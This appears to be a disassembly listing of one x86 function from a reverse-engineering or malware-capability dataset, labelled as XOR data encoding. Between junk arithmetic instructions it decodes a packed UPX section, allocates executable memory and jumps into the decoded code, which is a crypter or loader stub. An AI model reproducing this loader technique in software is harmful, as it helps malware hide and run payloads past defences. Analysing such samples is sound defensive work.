Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa4e3d5c4
dec edi
sub eax, 0xf7532d7c
sub edi, eax
popal
and edi, edi
not eax
add edi, eax
mov edx, 0
mov edi, esi
or ecx, ecx
not eax
or eax, ecx
mov ebx, edi
or ecx, eax
sub eax, ecx
inc eax
mov esi, ebx
add eax, ecx
add eax, ecx
and eax, eax
add edx, 1
and ecx, eax
sub eax, ecx
cmp edx, 0x1000905
jne 0x47b44f
mov eax, ecx
mov ecx, eax
not eax
dec edi
mov edi, eax
mov eax, 0x9daf8205
mov eax, 0x47b21e
and edi, ecx
mov ecx, edi
sub esi, 0xd942f999
mov edx, 0x47b412
dec esi
and edi, esi
inc esi
mov ebx, dword [eax]
sub esi, edi
mov ecx, 0x32a1483d
sub esi, 0xede93e52
and ebx, 0xff
add esi, 0xe3d07ef5
inc edi
sub ecx, esi
xor dword [edx], ebx
or edi, ecx
dec ecx
inc edx
add ecx, ecx
add ecx, esi
inc eax
not edi
and edi, ecx
sub ecx, 1
cmp edx, entry0
jl 0x47b4a2
and ecx, ecx
mov edi, esi
add esi, esi
sub edi, 0x2ea6394a
add ecx, ecx
sub ecx, esi
sub ecx, edx
sub edx, 0xf3d0746a
add ebx, 1
mov edi, 0x47b416
mov edx, 0xe8ea1122
not ebx
mov edi, dword [edi]
add ebx, 0xfaeb5cbb
add esi, edx
add ebx, 0x587444de
mov edi, dword [edi]
not esi
or edx, edx
sub esp, 4
mov dword [esp], edi
sub ebx, 0xc142215c
add ecx, 0x8dbb05c8
mov edi, 0x47b412
sub edx, 0x8e8c520f
sub edx, 0xf16c6709
sub ecx, esi
mov edi, dword [edi]
add ebx, 0x87115d18
add esi, ebx
add ebx, 0x92a2eb8f
mov edi, dword [edi]
add edx, 1
and edx, ecx
mov edx, 0xa2cbb8f1
push 0x47b41a
sub esi, 1
add edx, 0xd48a5135
call edi
sub ecx, ebx
dec esi
dec ebx
pop edi
not esi
sub esi, 0x46df2080
push 0x47b427
add ecx, esi
sub esi, 0x9254426c
mov ecx, ebx
push eax
not ebx
sub ecx, edx
call edi
dec ebx
not esi
inc ecx
sub esp, 4
mov dword [esp], 0x40
sub esi, 0xa36d6765
and edx, esi
or ebx, ecx
sub esp, 4
mov dword [esp], 0x3000
mov ebx, 0xbd2ec882
mov edx, esi
sub edx, 1
push 0x20000a7c
dec ebx
and ebx, ecx
push 0
sub edx, 0x4e8dd647
sub ecx, 0xaa35ac4c
call eax
mov esi, ebx
mov ebx, 0x37d9a98
add ecx, esi
add eax, 0x20000a10
and ebx, edx
mov edx, 0x44f9233b
inc ebx
mov edi, 0x4b4e9792
sub ebx, esi
dec ecx
not ebx
mov dword [eax], edi
and edx, edx
sub ecx, esi
mov edi, dword [eax]
sub edx, ebx
mov ecx, edx
not ebx
cmp edi, 0x4b4e9792
je 0x47b623
mov ecx, 0
mov bl, byte [ecx]
sub ecx, 0xf8d6d934
mov edx, ecx
mov edx, esi
add ecx, ecx
and ecx, edx
not eax
sub eax, 0xf80d0ed
sub edi, 0x96638c2d
mov esi, section.UPX1
mov edi, eax
add edi, 0x8c9c915e
mov edx, 0x47b21d
add edi, edi
mov eax, edi
add eax, 1
mov ebx, 0
sub eax, edi
sub edi, eax
mov ecx, 0x47b21e
mov edi, eax
or eax, edi
lea ecx, [ebx + ecx]
add eax, 0x82f63a68
not edi
mov ecx, dword [ecx]
or eax, eax
add eax, eax
mov eax, edi
and ecx, 0xff
and edi, eax
sub edi, eax
inc ebx
and eax, eax
dec eax
cmp ebx, 0x1f4
jne 0x47b69b
mov ebx, 0
sub edi, 0xeb515267
mov edi, eax
or eax, eax
mov eax, edi
sub edi, 0xcad9f644
xor dword [esi], ecx
mov edi, eax
and eax, edi
sub eax, edi
add esi, 2
add eax, edi
sub eax, 0x851db1a1
or edi, eax
cmp esi, edx
jl 0x47b664
not eax
not edi
or eax, eax
mov eax, 0x6e841845
mov edi, eax
mov eax, section.UPX1
add edi, 1
dec edi
mov ecx, section.UPX1
and esi, edi
sub esi, edi
mov edx, 0x47b21d
sub esi, edi
sub edi, 1
mov ebx, 0
not edi
mov esi, 0x78093863
mov bl, byte [ecx]
inc esi
and edi, esi
sub edi, 0x1e67f95
mov byte [eax], bl
mov esi, edi
mov edi, esi
add edi, 0xd661021d
inc eax
add esi, 1
and edi, edi
add ecx, 2
or edi, esi
inc esi
add edi, edi
cmp ecx, edx
jle 0x47b708
inc esi
sub esi, 0xa5c4d7b8
add eax, 0xa59a9ed3
mov eax, 0x82f33c32
push 0x45e6a0
sub edi, 0xc214d49f
add edi, 0x63fa5d9f
ret